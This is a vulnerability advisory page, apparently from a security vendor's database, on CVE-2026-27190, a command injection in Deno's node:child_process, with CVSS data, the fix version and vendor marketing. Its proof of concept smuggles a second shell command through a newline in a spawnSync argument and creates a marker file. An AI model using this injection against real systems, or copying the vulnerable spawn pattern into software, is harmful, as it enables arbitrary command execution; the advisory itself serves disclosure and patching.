Get a Demo

Let's Patch It!

Book a short call with one our specialists, we'll walk you through how Endor Patches work, and ask you a few questions about your environment (like your primary programming languages and repository management). We'll also send you an email right after you fill out the form, feel free to reply with any questions you have in advance!

CVE

CVE-2026-27190

Deno has a Command Injection via Incomplete shell metacharacter blocklist in node:child_process
Back to all
CVE

CVE-2026-27190

Deno has a Command Injection via Incomplete shell metacharacter blocklist in node:child_process

Summary

A command injection vulnerability exists in Deno's node:child_process implementation. 

Reproduction

import { spawnSync } from "node:child_process";
import * as fs from "node:fs";
// Cleanup
try { fs.unlinkSync('/tmp/rce_proof'); } catch {}
// Create legitimate script
fs.writeFileSync('/tmp/legitimate.ts', 'console.log("normal");');
// Malicious input with newline injection
const maliciousInput = `/tmp/legitimate.ts\ntouch /tmp/rce_proof`;
// Vulnerable pattern
spawnSync(Deno.execPath(), ['run', '--allow-all', maliciousInput], {
  shell: true,
  encoding: 'utf-8'
});
// Verify
console.log('Exploit worked:', fs.existsSync('/tmp/rce_proof'));

Run: deno run --allow-all poc.mjs

The file /tmp/rce_proof is created, confirming arbitrary command execution.

Mitigation

All users need to update to the patched version (Deno v2.6.8).

Package Versions Affected

Package Version
patch Availability
No items found.

Automatically patch vulnerabilities without upgrading

Fix Without Upgrading
Detect compatible fix
Apply safe remediation
Fix with a single pull request

CVSS Version

Severity
Base Score
CVSS Version
Score Vector
C
H
U
8.1
-
3.1
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
C
H
U
0
-
3.1
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
C
H
U
-

Related Resources

No items found.

References

https://github.com/denoland/deno/security/advisories/GHSA-hmh4-3xvx-q5hr, https://nvd.nist.gov/vuln/detail/CVE-2026-27190, https://github.com/denoland/deno/commit/9132ad958c83a0d0b199de12b69b877f63edab4c, https://github.com/denoland/deno, https://github.com/denoland/deno/releases/tag/v2.6.8

Severity

8.1

CVSS Score
0
10

Basic Information

Ecosystem
Base CVSS
8.1
EPSS Probability
0.00907%
EPSS Percentile
0.75857%
Introduced Version
0
Fix Available
2.6.8

Fix Critical Vulnerabilities Instantly

Secure your app without upgrading.
Fix Without Upgrading